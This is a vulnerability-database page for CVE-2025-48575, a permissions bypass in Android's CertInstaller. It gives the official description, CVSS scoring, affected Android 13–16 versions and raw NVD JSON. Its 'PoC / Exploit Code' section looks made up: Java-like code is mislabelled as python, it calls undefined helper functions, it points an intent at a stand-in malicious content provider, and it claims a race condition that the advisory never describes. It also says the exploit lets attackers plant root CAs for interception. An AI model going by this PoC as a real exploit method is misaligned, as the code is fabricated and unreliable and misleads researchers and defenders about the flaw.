Security Vulnerability Report
中文
CVE-2025-48575 CVSS 7.8 HIGH

CVE-2025-48575

Published: 2025-12-08 17:16:15
Last Modified: 2025-12-10 13:25:45

Description

In multiple functions of CertInstaller.java, there is a possible way to install certificates due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android CertInstaller < 2025-12-01安全补丁版本
Android系统未安装2025年12月安全更新的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48575 PoC - CertInstaller Permission Bypass // This PoC demonstrates the permission bypass in CertInstaller // Note: This is for educational/security research purposes only /* AndroidManifest.xml (required permissions): <uses-permission android:name="android.permission.INSTALL_PACKAGES"/> Steps to exploit: 1. Prepare a malicious certificate file 2. Bypass permission checks in CertInstaller 3. Install certificate without user consent */ // Step 1: Create certificate installation intent with bypass Intent installIntent = new Intent(); installIntent.setAction("android.credentials.INSTALL"); installIntent.setData(Uri.parse("content://malicious.cert.provider/cert")); installIntent.putExtra("certificate_data", maliciousCertBytes); // Step 2: Bypass permission verification // Exploit the race condition in permission check new Thread(() -> { try { // Trigger the vulnerable code path triggerVulnerableFunction(installIntent); // Race condition exploitation Thread.sleep(50); // Complete installation without proper validation completeCertificateInstallation(installIntent); } catch (Exception e) { e.printStackTrace(); } }).start(); // Step 3: Verify certificate installation verifyInstalledCertificate(); // Impact: Attacker can install root CA certificates // This enables MITM attacks and session hijacking

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48575", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.250", "lastModified": "2025-12-10T13:25:45.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple functions of CertInstaller.java, there is a possible way to install certificates due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/apps/CertInstaller/+/d688ebdbfd404df1e25654bfdf9e790ad9f0db3c", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}